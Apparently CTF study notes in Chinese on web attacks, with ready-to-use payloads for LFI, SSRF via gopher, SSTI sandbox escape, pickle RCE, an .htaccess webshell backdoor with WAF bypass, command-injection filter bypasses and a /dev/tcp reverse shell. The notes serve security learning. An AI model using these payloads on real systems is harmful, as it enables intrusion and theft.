# web
## Information Leak
### .git / .svn / .bzr
版本控制系統
.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原
```bash
./scrabble http://www.example.com/
```
### Google Hacking
```php
site:www.example.com
intext:"管理介面"
filetype:sql
```
[GHDB](https://www.exploit-db.com/google-hacking-database)
robots.txt
.DS_Store
.index.php.swp
Backup file
## PHP 弱型別判斷
![https://i.stack.imgur.com/giVhE.png](https://i.stack.imgur.com/giVhE.png)
[PHP弱型別的安全問題詳細總結](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/211902/)
### md5()&sha1()
```php
md5(array()) ==sha1(array())//true=>error=error
md5(240610708)==0 //true
/*
md5(240610708)=>'0e462097431906509019562988736854'
在弱型別判斷中會做為科學記號和int比較
*/
sha1('aa3OFF9m')=>'0e36977786278517984959260394024281014729'
```
[https://www.cnblogs.com/shijiahao/p/12638484.html](https://www.cnblogs.com/shijiahao/p/12638484.html)
[https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9](https://www.twblogs.net/a/5cd66c22bd9eee67a77f66f9)
## header竄改
### 可偽造ip相關
- `X-Forward-For`
- `Client-IP`
- `X-Real-IP`
## SSRF
### gopher 用法
```jsx
gopher://host:port/_HTTPRequest
//example POST request:
*gopher://192.168.0.1:8888/_POST/index.php?action=login HTTP/1.1
Host:127.0.0.1:1000
Content-type:application/x-www-form-urlencoded
Content-Length:20
username=admin&password=bupt666
//換行要用%0D%0A(\r\n)*
```
>*備註:發起POST的四個必要欄位*
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
gopher POST request payload
```htmlembedded=
gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20localhost%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%207%0d%0A%0d%0afoo=bar%0d%0A
```
[https://hackmd.io/@Lhaihai/H1B8PJ9hX](https://hackmd.io/@Lhaihai/H1B8PJ9hX)
---
## LFI&RFI
### php require()&include()
#### **偽協議**
```php
//phpfilter
index.php?file=php://filter/read=convert.base64-encode/resource=target.php
//phar 打包成zip下載
index.php?file=phar://test.zip/target.php
//data:URL schema
index.php?file=data:text/plain,<?php system('ls');?>
index.php?file=data:text/plain;base64,**PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==**
```
[data:URL schema更多用法](https://codertw.com/%E5%89%8D%E7%AB%AF%E9%96%8B%E7%99%BC/384080/)
```bash
#敏感檔案
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
```
### **SESSION植入WebShell**
若session可寫入,可以利用LFI執行php
```php
寫入<?php system("ls");?>
index.php?file=/<sess_path>/sess_<your session>
```
session_path可由phpinfo內找到session.save_path,若無則放在/tmp內
/var/lib/php/session
session檔名為sess_\<session id\>
[freebuf-LFI](https://www.freebuf.com/articles/web/182280.html)
---
## JS prototype pollution
[基於 JS 原型鏈的攻擊手法:Prototype Pollution](https://github.com/aszx87410/blog/issues/88)
當javascript在呼叫內建函式時,會透過prototype找上一層要呼叫的函式(因為內建函式並沒有真正在乎叫的物件之中)
舉例來說:
```javascript=
var lst = ['test']
console.log(lst.toString())
```
`toString()`不可能每個宣告的Array Object都有toString(),當呼叫時必須透過prototype找到上一層然後呼叫`Array.toString`
所以其實在呼叫`lst.toString()`的時候其實是呼叫了`Array.prototype.toString()`
而哪些`object`的prototype是甚麼則定義在object的__proto__裡面
```javascript=
lst.__proto__.toString == Array.prototype.toString //true
```
因此,在一些情況下,有些功能可能造成prototype可以被竄改,進而導致prototype pollution
### parse query
在對於Array進行賦值的時候,攻擊者可以透過構造key為`__proto__`達到prototype pollution
```javascript=
//parseQuery function回傳一個parsed的dict
function parseQuery(queryString) {
const params = {};
queryString.split('&').forEach(param => {
const [key, value] = param.split('=');
params[key] = value;
});
return params;
}
// Example usage
const userInput = 'user=admin&isAdmin=true';
// Parsing user input
const parsedQuery = parseQuery(userInput);
console.log(parsedQuery); // Output: { user: 'admin', isAdmin: 'true' }
// 透過prototype pollution把驗證機制竄改掉,繞過檢查機制
parseQuery('user=admin&isAdmin=true&__proto__.isAdmin=true');
// isAdmin被竄改,return true
console.log({}.isAdmin); // Output: true
```
### 合併物件
合併物件同樣有可能發生
```javascript=
function merge(a, b) {
for(let prop in b) {
if (typeof a[prop] === 'object') {
merge(a[prop], b[prop])
} else {
a[prop] = b[prop]
}
}
}
var config = {
a: 1,
b: {
c: 2
}
}
var customConfig = JSON.parse('{"__proto__": {"isAdmin": 1}}')
merge(config, customConfig)
var obj = {}
console.log(obj.isAdmin)
```
不難看出,其實只要有對Object的key和value進行操作,就很有可能導致prototype pollution
---
## .htaccess
可影響apache伺服器中資料夾內的檔案
**利用指定404、403等錯誤響應文件達成LFI**
```php
ErrorDocument 404 /flag.txt
ErrorDocument 404 /shell.php
```
**強制解析非php檔案造成RCE**
```php
AddType application/x-httpd-php .txt
```
**將.htaccess本身作為php執行後門**
```php
php_value auto_prepend_file .htaccess
#<?php echo system($_GET['cmd']); ?>
```
#為.htaccess的註解符號
**若有WAF則可用\換行繞過**
```php
p\
hp_value auto_prepend_file .htaccess
#<?=echo system($_GET['cmd']); ?>
```
遇到\時,會接續下一行
[https://blog.csdn.net/solitudi/article/details/116666720](https://blog.csdn.net/solitudi/article/details/116666720)
## Serialize&Deserialize
呼叫反序列化時,可能呼叫一些Magic Method
### 序列化
| Value | Serialize(PHP) |
| --- | --- |
| 8459302 | i:8459302; |
| TRUE | b:1; |
| NULL | N; |
| [’x’,1] | a:2:{i:0;s:1:”x”;i:1;i:1;} |
**PHP Object的序列化**
```php
new Cat("kitten") =>O:3:"Cat":1:{s:4:"name";s:6:"kitten";}
class Cat{
public $a; =>{s:1:"a";.....}
private $b; =>{s:6:"\x00Cat\x00b";.....}
protected $c; =>{s:4:"\x00*\x00c";.....}
}
```
### 反序列化
```php
PHP Magic Method
在指定時機自動呼叫magic method
__destruct() //Object 被銷毀或garbage collection
__wakeup() //unserialize時觸發
__call() //被呼叫不存在方法時觸發
__toString() //被當成string處理時觸發(如 echo)
```
```python
**Python Pickle**
pickle.dumps()會將資料序列化
可寫payloads
import subprocess
class payload(object):
def __reduce__(self):
return (subprocess.check_output,(['cat','/flag_5fb2acebf1d0c558'],))
再想辦法把payload()塞進dumps裡面
```
### Phar與反序列化
```php
```
---
## SSTI(Server Side Template Injection)
![](https://hackmd.io/_uploads/rJ75S5dw2.png)
python Flask預設模板為Jinja2
```python
render_template_string(template)
#可做一些簡單運算
template={{7*7}} =>49
{%for item in item_list %}
{{ item }}{% if not loop.last %},{% endif %}
{%-endfor-%}
'''
可以import os os.system()嗎? 不行,code是放在sandbox中跑的
但可以用config.from_pyfile(filename)執行任意python檔案
'''
```
使用_mro_(Method Resolution Order) **bypass Python的Sandbox**
```python
[].__class__ =><class 'list'>
#對object 查詢method
[].__class__.__mro__ =>(<class 'list'>,<class 'object>)
#_mro_可查詢解析物件順序,此時可以發現所有物件的底層皆為object
[].__class__.__base__ =><class 'object'>
#_base_可返回最底層的method,所以返回object
[].__class_.__base_.__subclasses__()
#_subclasses_直接返回所有subclasses,猛了object在最底層,所以所有物件都會return
[].__class__.__base__.__subclasses__()[132] =><class 'os._wrap_close'>
#os出現了
[].__class__.__base__.__subclasses__()[132].__init__.__globals__ =>返回所有可被global調用的method
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('ls')}}
#os.system被A出來了
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
#回傳結果
```
更多奇技淫巧:[https://tw511.com/a/01/48066.html](https://tw511.com/a/01/48066.html)
## SQL injection
[https://www.796t.com/content/1545706659.html](https://www.796t.com/content/1545706659.html)
https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/
### sqlmap
:::info
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
:::
### 常見waf
```sql
escape()->被轉成%XX,@* _ + - . /不編碼
```
### waf繞過
```html
'弄不出來的時候可以嘗試兩個urlencode合在一起
%bf%27、%df%27、%aa%27
```
## Reversed Shell
```bash
最經典
nc -klvp [port] #attacker's host
/bin/sh -i >& /dev/tcp/[host]/[port] 0<&1 #victim
```
## Commandline Injection
### 截斷指令
最基本的截斷可用`;`達成,也可使用
* `cmd1&&cmd2`當`cmd1` 執行成功時執行`cmd2`
* `cmd1&cmd2`簡單拼接,無論`cmd1`執行成功與否都會執行`cmd2`
* `cmd1||cmd2`當`cmd1`執行失敗時執行`cmd2
* `cmd1|cmd2`將`cmd1`的執行結果以pipeline塞給`cmd2`
### 空格繞過
* 使用`<>`繞過
* `cat<flag`
* `cat<>flag`
* `{cat,flag}`
* 使用特殊變量`$IFS`繞過(預設是空格)
* `cat$IFS./flag`
* `cat$IFS\flag`
### 過濾繞過
* regex繞過
* `/usr/bin/ca? flag`
* 反斜線繞過
* `ca\t fl\ag`
* 空變量繞過
* `ca${Z}t flag`
### 一些猛料
>https://www.zhihu.com/tardis/zm/art/339266206?source_id=1003
https://blog.csdn.net/m0_61011147/article/details/126722464
## 一些會一直旺季的東東
![https://i.stack.imgur.com/giVhE.png](https://i.stack.imgur.com/giVhE.png)
![http://www.xuan.idv.tw/wordpress/wp-content/uploads/2010/03/asciifull1.gif](http://www.xuan.idv.tw/wordpress/wp-content/uploads/2010/03/asciifull1.gif)
## 更多筆記
[https://github.com/splitline/How-to-Hack-Websites](https://github.com/splitline/How-to-Hack-Websites)
[https://github.com/splitline/My-CTF-Challenges/](https://github.com/splitline/My-CTF-Challenges/)
[[資安新手入門手冊] Web Security 領航之路](https://medium.com/%E8%B3%87%E5%AD%90%E4%B9%8B%E6%89%8B-%E5%AE%89%E4%B9%8B%E4%BD%A0%E6%88%91/%E8%B3%87%E5%AE%89%E6%96%B0%E6%89%8B%E5%85%A5%E9%96%80%E6%89%8B%E5%86%8A-web-security-%E9%A0%98%E8%88%AA%E4%B9%8B%E8%B7%AF-8d634d9228b5)
[简介 - CTF Wiki](https://ctf-wiki.org/)
[](https://edu-ctf.csie.org/)
[https://github.com/w181496/Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet)